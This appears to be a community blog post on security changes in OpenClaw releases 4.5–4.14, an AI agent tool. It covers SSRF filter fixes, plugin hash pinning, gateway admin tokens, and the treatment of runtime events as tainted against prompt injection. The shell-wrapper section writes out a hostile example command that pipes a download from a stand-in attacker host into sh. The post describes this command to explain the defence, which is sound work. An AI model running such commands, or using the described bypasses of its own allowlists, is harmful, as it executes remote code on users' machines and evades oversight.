⚠️ This is a fan-made community site, not affiliated with the official OpenClaw project or Anthropic. github.com/openclaw/openclaw
release security browser breaking-changes

OpenClaw 4.5–4.14: The Second Siege — Ten Days of Security Work You Probably Did Not Notice

OpenClaws.io Team

OpenClaws.io Team

@openclaws

April 14, 2026

10 min read

OpenClaw 4.5–4.14: The Second Siege — Ten Days of Security Work You Probably Did Not Notice

Most of this release run will not show up in a screenshot. Ten days, eight releases, and the bulk of the diff is in places you never look at unless something goes wrong — the plugin loader, the browser tool's URL resolver, the gateway config endpoints, the allowlist tables, the dependency manifest. Security work is quiet by design. This post is the long version of the quiet.

If you run OpenClaw on a laptop that also has your SSH keys, your password manager, your unfinished tax return, and a browser logged into everything — keep reading. This is the release run that changed what the lobster is allowed to touch.

Plugins now verify, not just download

Before 4.7, installing a plugin from the registry did what you would expect: pull the archive, unpack it, run it. The registry itself was trusted; the archive was not re-checked. If the registry's CDN was ever replaced mid-flight, or a mirror got poisoned, or someone intercepted at the edge, the lobster would happily install whatever came back.

4.7 closes that. Every plugin archive is now pinned to a SHA-256 hash at publish time, and the installer refuses to unpack anything whose bytes do not match. If you write plugins, the openclaw plugin publish flow now emits the hash into the manifest automatically — you do not have to do anything. If you install plugins, the first sign anything is wrong is a clean error instead of a silent install.

The follow-up in 4.9 extended the same verification to plugin updates, which had been quietly skipping the check on the grounds that the old version already passed. That is exactly the kind of assumption attackers look for. It is gone now.

The browser tool's SSRF filter, three times over

The browser tool lets the lobster fetch pages, follow links, run small amounts of JavaScript, and return what it finds. It is one of the most useful things in the product and also one of the most dangerous — anything that fetches URLs on behalf of an LLM can be talked into fetching the wrong URLs. Server-Side Request Forgery (SSRF) is the polite name for the failure mode.

In these ten days, the SSRF filter was rewritten three times.

4.7 tightened the host allowlist check to run after DNS resolution, not before. The old version compared the hostname string against the allowlist, then resolved. That meant a hostname that looked external but resolved to 127.0.0.1 via a controlled DNS record could slip through. Now the resolved IP is checked against the denylist of private and loopback ranges, and if it lands inside one the request is refused regardless of how the name looked.

4.9 added IPv6 coverage. The previous pass handled 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, and link-local — all IPv4. The IPv6 equivalents (fc00::/7, fe80::/10, ::1) were technically covered by the "not in allowlist" fallback but had never been tested end to end. 4.9 turns them into first-class denies and adds the test matrix.

4.10 closed a redirect-chasing loophole. If the first URL passed the filter but issued a 302 to a private IP, the redirect was being followed without re-checking. Every hop in a redirect chain is now filtered independently. The browser tool will follow a redirect from a public host to another public host all day; it will not follow one from a public host to 169.254.169.254, which is the address that matters if you are ever running this inside a cloud instance.

4.14 is the one that will cause a real compatibility break for some people. It disables file:// URLs entirely from the browser tool surface. Reading local files through the browser tool was an undocumented side-effect that a handful of workflows had started relying on, and it was wrong: local file reads belong to the file tool, which has its own sandboxing story. If you were using browser.open('file://...') as a shortcut, you need to switch to file.read and accept whatever allowlist that tool enforces in your setup.

A new CLI for auditing what the lobster can run

4.10 ships openclaw exec-policy — a read-only CLI that dumps the effective shell execution policy for the current workspace. It tells you, in one screen, which commands are on the allowlist, which are denied, which require confirmation, and what the source of each rule is (user config, workspace config, plugin, default).

This is the thing to run after installing a new plugin. Plugins can register shell commands; most of them are fine; a few of them quietly broaden what the lobster can execute. Before 4.10 there was no single surface to see the combined result — you had to read multiple config files and reason about precedence. Now it is one command and the output is stable enough to pipe into a test.

The companion change in 4.12 is smaller but mean: the exec layer now detects shell wrapper invocations that try to smuggle commands past the allowlist. The classic pattern is bash -c 'curl evil.example | sh' when bash is allowed and curl is not. The wrapper detection flags the -c form, unwraps the inner command string, and runs the inner command through the allowlist as if it had been called directly. If the inner command would have been denied, the outer wrapper is denied too.

Gateway config endpoints got guards

If you run OpenClaw in gateway mode — the mode where multiple clients share one lobster instance — the gateway exposes a small admin API for reading and writing server config. 4.7 and 4.14 tightened this end.

4.7 split config.apply (replace the whole config) and config.patch (merge a partial update). Both existed before but shared one code path, and the merge semantics were under-specified enough that you could delete a nested admin key by patching a sibling. The split gives each verb its own validator. Patches are now true deep merges with explicit deletion requiring the $delete sentinel; applies require a full valid config or the request is refused.

4.14 added a signed-token requirement on both endpoints when the gateway is bound to anything other than localhost. If you were running the gateway on a dev machine with --host 0.0.0.0 and relying on network segmentation to keep people out — the gateway now refuses to start in that configuration unless you also pass --admin-token or explicitly opt out with --admin-insecure. The flag name is deliberately ugly. You should have to type the word "insecure" to get the old behavior back.

Credentials that were accidentally template data

4.12 fixed a long-standing ugly thing: the .env.example file that ships with new workspaces contained placeholder API keys that looked real enough that at least one user had committed them to a public repo thinking they were dummies. They were dummies — the values were all zero strings and invalid on any provider — but they were shaped like credentials and the linters we checked reported them as leaked. The new .env.example uses obviously fake tokens (REPLACE_ME_OR_I_WILL_FAIL) and the openclaw init flow refuses to write a .env file containing any of those sentinel values.

Small thing. Low consequence. But the cost of fixing it was one afternoon and the cost of not fixing it was one more public incident we would have had to explain.

Allowlist boundaries, tightened quietly

Across every release in the run, the allowlist tables that sit between the lobster and the outside world got tighter in small, specific ways:

  • 4.5: the music tool's output directory defaults to ./generated/music, no longer to wherever the workspace happens to think "output" means.
  • 4.7: memory import sources are restricted to file://, https://, and specific provider URLs. The old code accepted any URL scheme that urllib knew how to parse, which included some surprising ones.
  • 4.9: the video generation tool's upload path no longer accepts absolute paths outside the workspace root.
  • 4.10: plugin manifests can no longer declare * as an allowlist pattern. They have to name specific domains or methods.
  • 4.14: the Codex provider's dedicated client respects a separate allowlist from the unified one, so tightening Codex does not accidentally loosen everything else.

None of these individually is a story. Together they move the blast radius in the right direction.

Runtime event trust, downgraded

A subtler change that runs through 4.7, 4.9, and 4.14: events that come from the runtime (tool invocations, model outputs, plugin callbacks) are no longer treated as trusted input to the policy engine. Previously, a tool that emitted a structured event could influence subsequent allowlist decisions through data it controlled — the classic "prompt injection touches the policy layer" failure mode. Runtime events now pass through a separate sanitization step before they can affect any later policy evaluation, and the policy engine treats any field whose provenance is "runtime" as tainted unless a human operator has explicitly pinned it.

In practice this means some edge-case workflows that depended on the lobster's own tool output narrowing its own behavior will need to be rewritten. The intended way to narrow behavior is now to write a policy rule, not to have a tool emit a hint. If you hit this, the exec-policy CLI from 4.10 is the diagnostic.

Dependency audit

4.9 and 4.14 both ran full cargo audit and npm audit passes and bumped every transitive dependency with an open advisory. Nothing in the list was being exploited against OpenClaw, as far as we can tell; this is maintenance, not incident response. The bumps are boring on purpose.

The one non-boring bump: the WebSocket library used by the gateway moved a major version in 4.14, which changed how close frames report their reason code. If you had code reading event.reason on the gateway's socket disconnect signal, it is now a string instead of a buffer. This is a breaking change. It is called out in the 4.14 changelog.

The new signal: AI-assisted security audit

The last thing worth naming — 4.14 introduced an internal workflow where a second model reviews security-relevant diffs before they land. It does not block merges; it leaves comments. In this run, it caught two things a human review had passed: the IPv6 gap in the 4.9 SSRF rewrite (which was fixed pre-merge) and the $delete sentinel ambiguity in the 4.7 config.patch split (which became the explicit validator instead of the implicit one).

We do not want to over-claim. A second model is not a replacement for a second human. But it is a second pass, and in ten days of fast-moving security work it was the pass that caught the two things that would have shipped otherwise. It stays.

The short version

If you only take one thing from this post: run openclaw update to get 4.14, then run openclaw exec-policy once to see what the lobster can actually do on your machine. If the output surprises you, tighten it. The whole point of the last ten days is that you can.

And if you are one of the people running the gateway on --host 0.0.0.0 without an admin token — please go fix that before you run openclaw update, because 4.14 will refuse to start until you do, and we would rather you read this post first than read the error message and assume something is broken.

Stay in the Loop

Get updates on new features, integrations, and lobster wisdom. No spam, unsubscribe anytime.